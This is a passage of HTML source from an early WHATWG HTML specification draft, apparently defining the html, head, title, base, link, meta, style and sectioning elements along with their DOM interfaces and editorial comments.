a remarkable speaker, but his answerto my question leaves me a very bad taste. Basically, I asked him whyXHTML2 preserves the useless head and body element. The answer was insubstance "because this is a compromise". Ah. So XHTML2 preserves twouseless elements that add potential dangers to the interpretation andstyling of documents because it's a compromise. Getting rid of headwould allow to attach directly the document's metadata to the rootelement of the document, making much more sense than a head element.Having a head element also preserves the ridiculousengraved-in-the-marble "head contents are not rendered". Body isdangerous because it's another box between the document and thecontents; you all have written a blog template with a <divclass="main"> or <div class="content">. Why do we also need a body? - http://www.glazman.org/weblog/dotclear/index.php?2005/05/27/1055-adam-2-->   <dt>Element-specific attributes:   <dd>None (but see prose).   <dt>Predefined classes that apply to this element:   <dd>None.   <dt>DOM interface:   <dd>No difference from <code><a    href="#htmlelement">HTMLElement</a></code>.  </dl>  <p>The <code><a href="#html0">html</a></code> element represents the root   of an HTML document.  <p>Though it has absolutely no effect and no meaning, the <code><a   href="#html0">html</a></code> element, in <a href="#html-">HTML   documents</a>, may have an <code title="">xmlns</code> attribute   specified, if, and only if, it has the exact value   "<code>http://www.w3.org/1999/xhtml</code>". This does not apply to <a   href="#xml-documents">XML documents</a>.  <p class=note>In HTML, the <code title="">xmlns</code> attribute has   absolutely no effect. It is basically a talisman. It is allowed merely to   make migration to and from XHTML mildly easier. When parsed by an <a   href="#html-0">HTML parser</a>, the attribute ends up in the null   namespace, not the "<code>http://www.w3.org/2000/xmlns/</code>" namespace   like namespace declaration attributes in XML do.  <p class=note>In XML, an <code title="">xmlns</code> attribute is part of   the namespace declaration mechanism, and an element cannot actually have   an <code title="">xmlns</code> attribute in the null namespace specified.  <h3 id=document><span class=secno>3.7. </span>Document metadata</h3>  <p>Document metadata is represented by <dfn id=metadata>metadata   elements</dfn> in the document's <code><a href="#head0">head</a></code>   element.  <h4 id=the-head><span class=secno>3.7.1. </span>The <dfn   id=head0><code>head</code></dfn> element</h4>  <dl class=element>   <dt>Contexts in which this element may be used:   <dd>As the first element in an <code><a href="#html0">html</a></code>    element.   <dt>Content model:   <dd>In any order, exactly one <code><a href="#title3">title</a></code>    element, optionally one <code><a href="#base0">base</a></code> element    (HTML only), and zero or more other <a href="#metadata">metadata    elements</a> (in particular, <code><a href="#link0">link</a></code>,    <code><a href="#meta1">meta</a></code>, <code><a    href="#style0">style</a></code>, and <code><a    href="#script2">script</a></code>).   <dt>Element-specific attributes:   <dd>None.   <dt>Predefined classes that apply to this element:   <dd>None.   <dt>DOM interface:   <dd>No difference from <code><a    href="#htmlelement">HTMLElement</a></code>.  </dl>  <p>The <code><a href="#head0">head</a></code> element collects the   document's metadata.  <h4 id=the-title0><span class=secno>3.7.2. </span>The <dfn   id=title3><code>title</code></dfn> element</h4>  <p><a href="#metadata" title="metadata elements">Metadata element</a>.  <dl class=element>   <dt>Contexts in which this element may be used:   <dd>In a <code><a href="#head0">head</a></code> element containing no    other <code><a href="#title3">title</a></code> elements.   <dt>Content model:   <dd>Text (for details, see prose).   <dt>Element-specific attributes:   <dd>None.   <dt>Predefined classes that apply to this element:   <dd>None.   <dt>DOM interface:   <dd>No difference from <code><a    href="#htmlelement">HTMLElement</a></code>.  </dl>  <p>The <code><a href="#title3">title</a></code> element represents the   document's title or name. Authors should use titles that identify their   documents even when they are used out of context, for example in a user's   history or bookmarks, or in search results. The document's title is often   different from its first header, since the first header does not have to   stand alone when taken out of context.  <div class=example>   <p>Here are some examples of appropriate titles, contrasted with the    top-level headers that might be used on those same pages.</p>   <pre>  AMPERSANDlt;title>Introduction to The Mating Rituals of BeesAMPERSANDlt;/title>    ...  AMPERSANDlt;h1>IntroductionAMPERSANDlt;/h1>  AMPERSANDlt;p>This companion guide to the highly successful  AMPERSANDlt;cite>Introduction to Medieval Bee-KeepingAMPERSANDlt;/cite> book is...</pre>   <p>The next page might be a part of the same site. Note how the title    describes the subject matter unambiguously, while the first header    assumes the reader knowns what the context is and therefore won't wonder    if the dances are Salsa or Waltz:</p>   <pre>  AMPERSANDlt;title>Dances used during bee mating ritualsAMPERSANDlt;/title>    ...  AMPERSANDlt;h1>The DancesAMPERSANDlt;/h1></pre>  </div>  <p>The <code><a href="#title3">title</a></code> element must not contain   any elements.  <p>The string to use as the document's title is given by the <code   title=dom-document-title><a   href="#document.title">document.title</a></code> DOM attribute. User   agents should use the document's title when referring to the document in   their user interface.  <h4 id=the-base><span class=secno>3.7.3. </span>The <dfn   id=base0><code>base</code></dfn> element</h4>  <p><a href="#metadata" title="metadata elements">Metadata element</a>.  <dl class=element>   <dt>Contexts in which this element may be used:   <dd>In a <code><a href="#head0">head</a></code> element, before any    elements that use relative URIs, and only if there are no other <code><a    href="#base0">base</a></code> elements anywhere in the document. Only in    <a href="#html-">HTML documents</a> (never in <a    href="#xml-documents">XML documents</a>).   <dt>Content model:   <dd>Empty.   <dt>Element-specific attributes:   <dd><code title=attr-base-href><a href="#href">href</a></code>   <dt>Predefined classes that apply to this element:   <dd>None.   <dt>DOM interface:   <dd>    <pre     class=idl>interface <dfn id=htmlbaseelement>HTMLBaseElement</dfn> : <a href="#htmlelement">HTMLElement</a> {           attribute DOMString <a href="#href0" title=dom-base-href>href</a>;};</pre>  </dl>  <p>The <code><a href="#base0">base</a></code> element allows authors to   specify the document's base URI for the purposes of resolving relative   URIs.  <p>The <dfn id=href title=attr-base-href><code>href</code></dfn> content   attribute, if specified, must contain a URI (or IRI).  <p>User agents must use the value of the <code   title=att-base-href>href</code> attribute on the first <code><a   href="#base0">base</a></code> element in the document as the document   entity's base URI for the purposes of section 5.1.1 of RFC 2396   ("Establishing a Base URI": "Base URI within Document Content"). <a   href="#refsRFC2396">[RFC2396]</a> Note that this base URI from RFC 2396 is   referred to by the algorithm given in XML Base, which <a   href="#xmlBase">is a normative part of this specification</a>.  <p>If the base URI given by this attribute is a relative URI, it must be   resolved relative to the higher-level base URIs (i.e. the base URI from   the encapsulating entity or the URI used to retrieve the entity) to obtain   an absolute base URI.  <p>The <code title=attr-base-href><a href="#href">href</a></code> content   attribute must be reflected by the DOM <dfn id=href0   title=dom-base-href><code>href</code></dfn> attribute.  <p>Authors must not use the <code><a href="#base0">base</a></code> element   in <a href="#xml-documents">XML documents</a>. Authors should instead use   the <code>xml:base</code> attribute. <a href="#refsXMLBASE">[XMLBASE]</a>  <h4 id=the-link><span class=secno>3.7.4. </span>The <dfn   id=link0><code>link</code></dfn> element</h4>  <p><a href="#metadata" title="metadata elements">Metadata element</a>.  <dl class=element>   <dt>Contexts in which this element may be used:   <dd>In a <code><a href="#head0">head</a></code> element.   <dt>Content model:   <dd>Empty.   <dt>Element-specific attributes:   <dd><code title=attr-link-href><a href="#href1">href</a></code> (required)   <dd><code title=attr-link-rel><a href="#rel">rel</a></code> (required)   <dd><code title=attr-link-media><a href="#media">media</a></code>   <dd><code title=attr-link-hreflang><a href="#hreflang">hreflang</a></code>   <dd><code title=attr-link-type><a href="#type">type</a></code>   <dd>Also, the <code title=attr-link-title><a    href="#title4">title</a></code> attribute has special semantics on this    element.   <dt>Predefined classes that apply to this element:   <dd>None.   <dt>DOM interface:   <dd>    <pre     class=idl>interface <dfn id=htmllinkelement>HTMLLinkElement</dfn> : <a href="#htmlelement">HTMLElement</a> {           attribute boolean <a href="#disabled" title=dom-link-disabled>disabled</a>;           attribute DOMString <a href="#href2" title=dom-link-href>href</a>;           attribute DOMString <a href="#rel0" title=dom-link-rel>rel</a>;           attribute DOMString <a href="#media0" title=dom-link-media>media</a>;           attribute DOMString <a href="#hreflang0" title=dom-link-hreflang>hreflang</a>;           attribute DOMString <a href="#type0" title=dom-link-type>type</a>;};</pre>    <p>The <a     href="http://www.w3.org/TR/DOM-Level-2-Style/stylesheets.html#StyleSheets-LinkStyle"><code>LinkStyle</code></a>     interface defined in DOM2 Style must also be implemented by this     element. <a href="#refsDOM2STYLE">[DOM2STYLE]</a></p>  </dl>  <p>The <code><a href="#link0">link</a></code> element allows authors to   indicate explicit relationships between their document and other   resources.  <p>The destination of the link is given by the <dfn id=href1   title=attr-link-href><code>href</code></dfn> attribute, which must be   present and must contain a URI (or IRI). If the <code   title=attr-link-href><a href="#href1">href</a></code> attribute is absent,   then the element does not define a link.  <p>The type of link indicated (the relationship) is given by the value of   the <dfn id=rel title=attr-link-rel><code>rel</code></dfn> attribute,   which must be present. The <a href="#linkTypes">allowed values and their   meanings</a> are defined in a later section. If the <code   title=attr-link-rel><a href="#rel">rel</a></code> attribute is absent, or   if the value used is not allowed according to the definitions in this   specification, then the element does not define a link.  <p>Two categories of links can be created using the <code><a   href="#link0">link</a></code> element. <dfn id=links1 title="external   resource link">Links to external resources</dfn> are links to resources   that are to be used to augment the current document, and <dfn   id=hyperlink0 title="hyperlink link">hyperlink links</dfn> are <a   href="#hyperlinks" title=hyperlink>links to other documents</a>. The <a   href="#linkTypes">link types section</a> defines whether a particular link   type is an external resource or a hyperlink. One element can create   multiple links (of which some might be external resource links and some   might be hyperlinks). User agents should process the links on a per-link   basis, not a per-element basis.  <p>The exact behaviour for links to external resources depends on the exact   relationship, as defined for the relevant link type. Some of the   attributes control whether or not the external resource is to be applied   (as defined below). For external resources that are represented in the DOM   (for example, style sheets), the DOM representation must be made available   even if the resource is not applied. (However, user agents may opt to only   fetch such resources when they are needed, instead of pro-actively   downloading all the external resources that are not applied.)  <p>Interactive user agents should provide users with a means to <a   href="#following1" title="following hyperlinks">follow the hyperlinks</a>   created using the <code><a href="#link0">link</a></code> element,   somewhere within their user interface. The exact interface is not defined   by this specification, but it should include the following information   (obtained from the element's attributes, again as defined below), in some   form or another (possibly simplified), for each hyperlink created with   each <code><a href="#link0">link</a></code> element in the document:  <ul><!-- the order here is the order that makes most sense for a UI -->   <li>The relationship between this document and the resource (given by the    <code title=attr-link-rel><a href="#rel">rel</a></code> attribute)   <li>The title of the resource (given by the <code title=attr-link-title><a    href="#title4">title</a></code> attribute).   <li>The URI of the resource (given by the <code title=attr-link-href><a    href="#href1">href</a></code> attribute).   <li>The language of the resource (given by the <code    title=attr-link-hreflang><a href="#hreflang">hreflang</a></code>    attribute).   <li>The optimum media for the resource (given by the <code    title=attr-link-media><a href="#media">media</a></code> attribute).  </ul>  <p>User agents may also include other information, such as the type of the   resource (as given by the <code title=attr-link-type><a   href="#type">type</a></code> attribute).  <p>The <dfn id=media title=attr-link-media><code>media</code></dfn>   attribute says which media the resource applies to. The value must be a   valid media query. <a href="#refsMQ">[MQ]</a>  <p>If the link is a <a href="#hyperlink0" title="hyperlink   link">hyperlink</a> then the <code title=attr-link-media><a   href="#media">media</a></code> attribute is purely advisory, and describes   for which media the document in question was designed.  <p>However, if the link is an <a href="#links1">external resource link</a>,   then the <code title=attr-link-media><a href="#media">media</a></code>   attribute is prescriptive. The user agent must only apply the external   resource to <span>views</span><!-- XXX xref --> while their state match   the listed media.  <p id=default-media>The default, if the <code title=attr-link-media><a   href="#media">media</a></code> attribute is omitted, is <code>all</code>,   meaning that by default links apply to all media.  <p>The <dfn id=hreflang   title=attr-link-hreflang><code>hreflang</code></dfn> attribute on the   <code><a href="#link0">link</a></code> element has the same semantics as   the <a href="#hreflang3"   title=attr-hyperlink-hreflang><code>hreflang</code> attribute on hyperlink   elements</a>.</p>  <!-- XXX type attribute parsing and semantics should be factored out  as much as possible into a microsyntax -->  <p>The <dfn id=type title=attr-link-type><code>type</code></dfn> attribute   gives the MIME type of the linked resource. It is purely advisory. The   value must be a valid MIME type, optionally with parameters. <a   href="#refsRFC2046">[RFC2046]</a>  <p>For <a href="#links1" title="external resource link">external resource   links</a>, user agents may use the type given in this attribute to decide   whether or not to consider using the resource at all. If the UA does not   support the given MIME type for the given link relationship, then the UA   may opt not to download and apply the resource.  <p>User agents must not consider the <code title=attr-link-type><a   href="#type">type</a></code> attribute authoritative AMPERSANDmdash; upon fetching   the resource, user agents must only use the <a href="#content-type1"   title=Content-Type>Content-Type information associated with the   resource</a> to determine its type, not metadata included in the link to   the resource.  <p>If the attribute is omitted, then the UA must fetch the resource to   determine its type and thus determine if it supports (and can apply) that   external resource.  <div class=example>   <p>If a document contains three style sheet links labelled as follows:</p>   <pre>AMPERSANDlt;link rel="stylesheet" href="A" type="text/css"AMPERSANDgt;AMPERSANDlt;link rel="stylesheet" href="B" type="text/plain"AMPERSANDgt;AMPERSANDlt;link rel="stylesheet" href="C"AMPERSANDgt;</pre>   <p>...then a compliant UA that supported only CSS style sheets would fetch    the A and C files, and skip the B file (since <code>text/plain</code> is    not the MIME type for CSS style sheets). For these two files, it would    then check the actual types returned by the UA. For those that are sent    as <code>text/css</code>, it would apply the styles, but for those    labelled as <code>text/plain</code>, or any other type, it would not.</p>  </div>  <!--(to be deleted) (charset dropped)  <p>The <dfn title="attr-link-charset"><code>charset</code></dfn>  attribute gives the character encoding of the linked resource. It is  purely advisory. The value must be a valid character encoding name.  <a href="#refsIANACHARSET">[IANACHARSET]</a></p>  <p>For <span title="external resource link">external resource  links</span>, user agents may use the character encoding given in  this attribute to decide whether or not to consider using the  resource at all. If the UA does not support the given encoding for  the given link relationship, then the UA may opt not to download and  apply the resource.</p>  <p>However, once the resource has been fetched, user agents must  follow the rules for that resource type when determining the actual  character encoding.</p>-->  <p>The <dfn id=title4 title=attr-link-title><code>title</code></dfn>   attribute gives the title of the link. With one exception, it is purely   advisory. The value is text. The exception is for style sheet links, where   the <code title=attr-link-title><a href="#title4">title</a></code>   attribute defines <a href="#stylesheetTitle">alternate style sheet   sets</a>.</p>  <!-- XXX xref -->  <p class=note>The <code title=attr-link-title><a   href="#title4">title</a></code> attribute on <code><a   href="#link0">link</a></code> elements differs from the global <code   title=attr-title><a href="#title1">title</a></code> attribute of most   other elements in that a link without a title does not inherit the title   of the parent element: it merely has no title.  <p>Some versions of HTTP defined a <code title="">Link:</code> header, to   be processed like a series of <code><a href="#link0">link</a></code>   elements. When processing links, those must be taken into consideration as   well. For the purposes of ordering, links defined by HTTP headers must be   assumed to come before any links in the document, in the order that they   were given in the HTTP entity header. Relative URIs in these headers must   be resolved according to the rules given in HTTP, not relative to base   URIs set by the document (e.g. using a <code><a   href="#base0">base</a></code> element or <code>xml:base</code>   attributes). <a href="#refsRFC2616">[RFC2616]</a> <a   href="#refsRFC2068">[RFC2068]</a>  <p>The DOM attributes <dfn id=href2   title=dom-link-href><code>href</code></dfn>, <dfn id=rel0   title=dom-link-rel><code>rel</code></dfn>, <dfn id=media0   title=dom-link-media><code>media</code></dfn>, <dfn id=hreflang0   title=dom-link-hreflang><code>hreflang</code></dfn>, and <dfn id=type0   title=dom-link-type><code>type</code></dfn> each must <a   href="#reflect">reflect</a> the respective content attributes of the same   name.  <p>The DOM attribute <dfn id=disabled   title=dom-link-disabled><code>disabled</code></dfn> only applies to style   sheet links. When the <code><a href="#link0">link</a></code> element   defines a style sheet link, then the <code title=dom-link-disabled><a   href="#disabled">disabled</a></code> attribute behaves as defined <a   href="#stylesheetDisabled">for the alternate style sheets DOM</a>. For all   other <code><a href="#link0">link</a></code> elements it must always   return false and must do nothing on setting.</p>  <!-- XXX xref -->  <h4 id=meta><span class=secno>3.7.5. </span>The <dfn   id=meta1><code>meta</code></dfn> element</h4>  <p><a href="#metadata" title="metadata elements">Metadata element</a>.  <dl class=element>   <dt>Contexts in which this element may be used:   <dd>In a <code><a href="#head0">head</a></code> element.   <dt>Content model:   <dd>Empty.   <dt>Element-specific attributes:   <dd><code title=attr-meta-name><a href="#name">name</a></code>   <dd><code title=attr-meta-http-equiv><a    href="#http-equiv">http-equiv</a></code> (HTML only, optional)   <dd><code title=attr-meta-content><a href="#content0">content</a></code>   <dt>Predefined classes that apply to this element:   <dd>None.   <dt>DOM interface:   <dd>    <pre     class=idl>interface <dfn id=htmlmetaelement>HTMLMetaElement</dfn> : <a href="#htmlelement">HTMLElement</a> {           attribute DOMString <a href="#content1" title=dom-meta-content>content</a>;           attribute DOMString <a href="#name0" title=dom-meta-name>name</a>;};</pre>  </dl>  <p>The <code><a href="#meta1">meta</a></code> element allows authors to   specify document metadata that cannot be expressed using the <code><a   href="#title3">title</a></code>, <code><a href="#base0">base</a></code>,   <code><a href="#link0">link</a></code>, <code><a   href="#style0">style</a></code>, and <code><a   href="#script2">script</a></code> elements. The metadata is expressed in   terms of name/value pairs: the <dfn id=name   title=attr-meta-name><code>name</code></dfn> attribute on the <code><a   href="#meta1">meta</a></code> element gives the name, and the <dfn   id=content0 title=attr-meta-content><code>content</code></dfn> attribute   on the same element gives the value.  <p>If a <code><a href="#meta1">meta</a></code> element has no <code   title=attr-meta-name><a href="#name">name</a></code> attribute, it does   not set document metadata. If a <code><a href="#meta1">meta</a></code>   element has no <code title=attr-meta-content><a   href="#content0">content</a></code> attribute, then the value part of the   metadata name/value pair is the empty string.  <p>The value must not be a URI. Links must be represented using the   <code><a href="#link0">link</a></code> element, not the <code><a   href="#meta1">meta</a></code> element.  <p>The DOM attributes <dfn id=name0   title=dom-meta-name><code>name</code></dfn> and <dfn id=content1   title=dom-meta-content><code>content</code></dfn> must <a   href="#reflect">reflect</a> the respective content attributes of the same   name.  <h5 id=standard><span class=secno>3.7.5.1. </span>Standard metadata names</h5>  <p>This specification defines a few names for the <code   title=attr-meta-name><a href="#name">name</a></code> attribute of the   <code><a href="#meta1">meta</a></code> element.  <dl>   <dt><dfn id=generator title=meta-generator>generator</dfn>   <dd>The value must be a free-form string that identifies the software used    to generate the document. This value must not be used on hand-authored    pages.  </dl>  <h5 id=other0><span class=secno>3.7.5.2. </span>Other metadata names</h5>  <p><dfn id=extensions0 title=concept-class-extensions>Extensions to the   predefined set of metadata names</dfn> may be registered in the <a   href="http://wiki.whatwg.org/wiki/MetaExtensions">WHATWG Wiki   MetaExtensions page</a>.  <p>Anyone is free to edit the WHATWG Wiki MetaExtensions page at any time   to add a type. These new names must be specified with the following   information:  <dl>   <dt>Keyword   <dd>    <p>The actual name being defined. The name should not be confusingly     similar to any other defined name (e.g. differing only in case).   <dt>Brief description   <dd>    <p>A short description of what the metadata name's meaning is, including     the format the value is required to be in.   <dt>Link to more details   <dd>A link to a more detailed description of the metadata name's semantics    and requirements. It could be another page on the Wiki, or a link to an    external page.   <dt>Synonyms   <dd>    <p>A list of other names that have exactly the same processing     requirements. Authors should not use the names defined to be synonyms,     they are only intended to allow user agents to support legacy content.   <dt>Status   <dd>    <p>One of the following:</p>    <dl>     <dt>Proposal     <dd>The name has not received wide peer review and approval. Someone has      proposed it and is using it.     <dt>Accepted     <dd>The name has received wide peer review and approval. It has a      specification that unambiguously defines how to handle pages that use      the name, including when they use it in incorrect ways.     <dt>Unendorsed     <dd>The metadata name has received wide peer review and it has been      found wanting. Existing pages are using this keyword, but new pages      should avoid it. The "brief description" and "link to more details"      entries will give details of what authors should use instead, if      anything.    </dl>    <p>If a metadata name is added with the "proposal" status and found to be     redundant with existing values, it should be removed and listed as a     synonym for the existing value.</p>  </dl>  <p>Conformance checkers must use the information given on the WHATWG Wiki   MetaExtensions page to establish if a value not explicitly defined in this   specification is allowed or not. When an author uses a new type not   defined by either this specification or the Wiki page, conformance   checkers should offer to add the value to the Wiki, with the details   described above, with the "proposal" status.  <p>This specification does not define how new values will get approved. It   is expected that the Wiki will have a community that addresses this.  <h5 id=charset><span class=secno>3.7.5.3. </span>Specifying and   establishing the document's character encoding</h5>  <p>The <code><a href="#meta1">meta</a></code> element may also be used, in   HTML only (not in XHTML) to provide UAs with character encoding   information for the file. To do this, the <code><a   href="#meta1">meta</a></code> element must be the first element in the   <code><a href="#head0">head</a></code> element, it must have the <dfn   id=http-equiv title=attr-meta-http-equiv><code>http-equiv</code></dfn>   attribute set to the literal value <code title="">Content-Type</code>, and   must have the <code title=attr-meta-content><a   href="#content0">content</a></code> attribute set to the literal value   <code>text/html; charset=</code> immediately followed by the character   encoding, which must be a valid character encoding name. <a   href="#refsIANACHARSET">[IANACHARSET]</a> <!-- XXX  http://www.iana.org/assignments/character-sets -->   When the <code><a href="#meta1">meta</a></code> element is used in this   way, there must be no other attributes set on the element, and the   <code>http-equiv</code> attribute must be listed first in the source.   Other than for giving the document's character encoding in this way, the   <code title=attr-meta-http-equiv><a   href="#http-equiv">http-equiv</a></code> attribute must not be used.  <p class=big-issue>We should allow those strings to be case-insensitive,   and for zero-or-more spaces where we currently require just one.  <p>In XHTML, the XML declaration should be used for inline character   encoding information, if necessary.  <p>Authors should avoid including inline character encoding information.   Character encoding information should instead be included at the transport   level (e.g. using the HTTP <code title="">Content-Type</code> header).</p>  <!-- XXX should we remove  this paragraph? Experts disagree on this. -->  <h4 id=the-style><span class=secno>3.7.6. </span>The <dfn   id=style0><code>style</code></dfn> element</h4>  <p><a href="#metadata" title="metadata elements">Metadata element</a>.  <dl class=element>   <dt>Contexts in which this element may be used:   <dd>In a <code><a href="#head0">head</a></code> element.   <dt>Content model:   <dd>Depends on the value of the <code title=attr-style-type><a    href="#type1">type</a></code> attribute.   <dt>Element-specific attributes:   <dd><code title=attr-style-media><a href="#media1">media</a></code>   <dd><code title=attr-style-type><a href="#type1">type</a></code>   <dd>Also, the <code title=attr-style-title><a    href="#title5">title</a></code> attribute has special semantics on this    element.   <dt>Predefined classes that apply to this element:   <dd>None.   <dt>DOM interface:   <dd>    <pre     class=idl>interface <dfn id=htmlstyleelement>HTMLStyleElement</dfn> : <a href="#htmlelement">HTMLElement</a> {           attribute boolean <code title=dom-style-disabled><a href="#disabled0">disabled</a></code>;           attribute DOMString <code title=dom-style-media><a href="#media2">media</a></code>;           attribute DOMString <code title=dom-style-type><a href="#type2">type</a></code>;};</pre>    <p>The <a     href="http://www.w3.org/TR/DOM-Level-2-Style/stylesheets.html#StyleSheets-LinkStyle"><code>LinkStyle</code></a>     interface defined in DOM2 Style must also be implemented by this     element. <a href="#refsDOM2STYLE">[DOM2STYLE]</a></p>  </dl>  <p>The <code><a href="#style0">style</a></code> element allows authors to   embed style information in their documents.</p>  <!-- XXX again, extract type out as a microsyntax -->  <p>If the <dfn id=type1 title=attr-style-type><code>type</code></dfn>   attribute is given, it must contain a MIME type, optionally with   parameters, that designates a styling language. <a   href="#refsRFC2046">[RFC2046]</a> If the attribute is absent, the type   defaults to <code>text/css</code>. <a href="#refsRFC2318">[RFC2138]</a>  <p>If the UA supports the given styling language, then the UA must use the   given styles as appropriate for that language.</p>  <!-- XXX this is the second time we have this paragraph here... -->  <p>When examining types to determine if they support the language, user   agents must not ignore unknown MIME parameters AMPERSANDmdash; types with unknown   parameters must be assumed to be unsupported.  <p>The <dfn id=media1 title=attr-style-media><code>media</code></dfn>   attribute says which media the styles apply to. The value must be a valid   media query. <a href="#refsMQ">[MQ]</a> User agents must only apply the   styles to <a href="#views">views</a> while their state match the listed   media.  <p id=style-default-media>The default, if the <code   title=attr-style-media><a href="#media1">media</a></code> attribute is   omitted, is <code>all</code>, meaning that by default styles apply to all   media.  <p id=title-on-style>The <dfn id=title5   title=attr-style-title><code>title</code></dfn> attribute on <code><a   href="#style0">style</a></code> elements <a   href="#stylesheetTitle">defines alternate style sheet sets</a>. If the   <code><a href="#style0">style</a></code> element has no <code   title=attr-style-title><a href="#title5">title</a></code> attribute, then   it has no title; the <code title=attr-title><a   href="#title1">title</a></code> attribute of ancestors does not apply to   the <code><a href="#style0">style</a></code> element.</p>  <!-- XXX xref -->  <p class=note>The <code title=attr-style-title><a   href="#title5">title</a></code> attribute on <code><a   href="#style0">style</a></code> elements, like the <code   title=attr-link-title><a href="#title4">title</a></code> attribute on   <code><a href="#link0">link</a></code> elements, differs from the global   <code title=attr-title><a href="#title1">title</a></code> attribute in   that a <code><a href="#style0">style</a></code> block without a title does   not inherit the title of the parent element: it merely has no title.  <p>All descendant elements must be processed, according to their semantics,   before the <code><a href="#style0">style</a></code> element itself is   evaluated. For styling languages that consist of pure text, user agents   must evaluate <code><a href="#style0">style</a></code> elements by passing   the concatenation of the contents of all the <a href="#text-node"   title="text node">text nodes</a> that are direct children of the <code><a   href="#style0">style</a></code> element (not any other nodes such as   comments or elements), in <a href="#tree-order">tree order</a>, to the   style system. For XML-based styling languages, user agents must pass all   the children nodes of the <code><a href="#style0">style</a></code> element   to the style system.  <p class=note>This specification does not specify a style system, but CSS   is expected to be supported by most Web browsers. <a   href="#refsCSS21">[CSS21]</a>  <p>The DOM attributes <dfn id=media2   title=dom-style-media><code>media</code></dfn> and <dfn id=type2   title=dom-style-type><code>type</code></dfn> each must <a   href="#reflect">reflect</a> the respective content attributes of the same   name.  <p>The DOM <dfn id=disabled0   title=dom-style-disabled><code>disabled</code></dfn> attribute behaves as   defined <a href="#stylesheetDisabled">for the alternate style sheets   DOM</a>. <!-- XXX xref -->  <h3 id=sections><span class=secno>3.8. </span>Sections</h3>  <p><dfn id=sectioning>Sectioning elements</dfn> are elements that divide   the page into, for lack of a better word, sections. This section describes   HTML's sectioning elements and elements that support them.  <p id=applyToSection>Some elements are scoped to their nearest ancestor   sectioning element. For example, <code><a   href="#address0">address</a></code> elements apply just to their section.   For such elements <var title="">x</var>, the elements that apply to a   sectioning element <var title="">e</var> are all the <var title="">x</var>   elements whose nearest sectioning element is <var title="">e</var>.  <h4 id=the-body><span class=secno>3.8.1. </span>The <dfn   id=body1><code>body</code></dfn> element</h4>  <p><a href="#sectioning" title="sectioning elements">Sectioning   element</a>.  <dl class=element>   <dt>Contexts in which this element may be used:   <dd>As the second element in an <code><a href="#html0">html</a></code>    element.   <dt>Content model:   <dd>Zero or more <a href="#block-level1">block-level elements</a>.   <dt>Element-specific attributes:   <dd>None.   <dt>Predefined classes that apply to this element:   <dd><code title=class-search><a href="#search1">search</a></code>, <code    title=class-warning><a href="#warning0">warning</a></code>   <dt>DOM interface:   <dd>No difference from <code><a    href="#htmlelement">HTMLElement</a></code>.  </dl>  <p>The <code><a href="#body1">body</a></code> element represents the main   content of the document.  <p>The <code><a href="#body1">body</a></code> element potentially has a   heading. See the section on <a href="#headings1">headings and sections</a>   for further details.  <p>In conforming documents, there is only one <code><a   href="#body1">body</a></code> element. The <code   title=dom-document-body><a href="#body0">document.body</a></code> DOM   attribute provides scripts with easy access to a document's <code><a   href="#body1">body</a></code> element.  <p class=note>Some DOM operations (for example, parts of the <a   href="#drag-and0">drag and drop</a> model) are defined in terms of "<a   href="#the-body0">the body element</a>". This refers to a particular   element in the DOM, as per the definition of the term, and not any   arbitrary <code><a href="#body1">body</a></code> element.  <h4 id=the-section><span class=secno>3.8.2. </span>The <dfn   id=section0><code>section</code></dfn> element</h4>  <p><a href="#sectioning" title="sectioning elements">Sectioning</a> <a   href="#block-level1" title="block-level elements">block-level element</a>.  <dl class=element>   <dt>Contexts in which this element may be used:   <dd>Where <a href="#block-level1">block-level elements</a> are expected.   <dt>Content model:   <dd>Zero or more <a href="#block-level1">block-level elements</a>.   <dt>Element-specific attributes:   <dd>None.   <dt>Predefined classes that apply to this element:   <dd><code title=class-error><a href="#error0">error</a></code>, <code    title=class-example><a href="#example1">example</a></code>, <code    title=class-search><a href="#search1">search</a></code>, <code    title=class-warning><a href="#warning0">warning</a></code>   <dt>DOM interface:   <dd>No difference from <code><a    href="#htmlelement">HTMLElement</a></code>.  </dl>  <p>The <code><a href="#section0">section</a></code> element represents a   generic document or application section. A section, in this context, is a   thematic grouping of content, typically with a header, possibly with a   footer.  <p class=example>Examples of sections would be chapters, the various tabbed   pages in a tabbed dialog box, or the numbered sections of a thesis. A Web   site's home page could be split into sections for an introduction, news   items, contact information.  <p>Each <code><a href="#section0">section</a></code> element potentially   has a heading. See the section on <a href="#headings1">headings and   sections</a> for further details.  <h4 id=the-nav><span class=secno>3.8.3. </span>The <dfn   id=nav0><code>nav</code></dfn> element</h4>  <p><a href="#sectioning" title="sectioning elements">Sectioning</a> <a   href="#block-level1" title="block-level elements">block-level element</a>.  <dl class=element>   <dt>Contexts in which this element may be used:   <dd>Where <a href="#block-level1">block-level elements</a> are expected.   <dt>Content model:   <dd>Zero or more <a href="#block-level1">block-level elements</a>, or <a    href="#inline-level1">inline-level content</a> (but not both).   <dt>Element-specific attributes:   <dd>None.   <dt>Predefined classes that apply to this element:   <dd>None.   <dt>DOM interface:   <dd>No difference from <code><a    href="#htmlelement">HTMLElement</a></code>.  </dl>  <p>The <code><a href="#nav0">nav</a></code> element represents a section of   a page that links to other pages or to parts within the page: a section   with navigation links.  <p>When <a href="#determining2" title="Determining if a particular element   contains block-level elements or inline-level content">used as an   inline-level content</a> container, the element represents a <a   href="#paragraph">paragraph</a>.  <p>Each <code><a href="#nav0">nav</a></code> element potentially has a   heading. See the section on <a href="#headings1">headings and sections</a>   for further details.  <h4 id=the-article><span class=secno>3.8.4. </span>The <dfn   id=article0><code>article</code></dfn> element</h4>  <p><a href="#sectioning" title="sectioning elements">Sectioning</a> <a   href="#block-level1" title="block-level elements">block-level element</a>.  <dl class=element>   <dt>Contexts in which this element may be used:   <dd>Where <a href="#block-level1">block-level elements</a> are expected.   <dt>Content model:   <dd>Zero or more <a href="#block-level1">block-level elements</a>.   <dt>Element-specific attributes:   <dd>None.</dd>   <!--XXX attributes to give the date authored, date published-->   <dt>Predefined classes that apply to this element:   <dd><code title=class-warning><a href="#warning0">warning</a></code>   <dt>DOM interface:   <dd>No difference from <code><a    href="#htmlelement">HTMLElement</a></code>.  </dl>  <p>The <code><a href="#article0">article</a></code> element represents a   section of a page that consists of a composition that forms an independent   part of a document, page, or site. This could be a forum post, a magazine   or newspaper article, a Web log entry, a user-submitted comment, or any   other independent item of content.  <p class=note>An <code><a href="#article0">article</a></code> element is   "independent" in that its contents could stand alone, for example in   syndication. However, the element is still associated with its ancestors;   for instance, contact information that <a   href="#applyToSection">applies</a> to a parent <code><a   href="#body1">body</a></code> element still covers the <code><a   href="#article0">article</a></code> as well.  <p>When <code><a href="#article0">article</a></code> elements are nested,   the inner <code><a href="#article0">article</a></code> 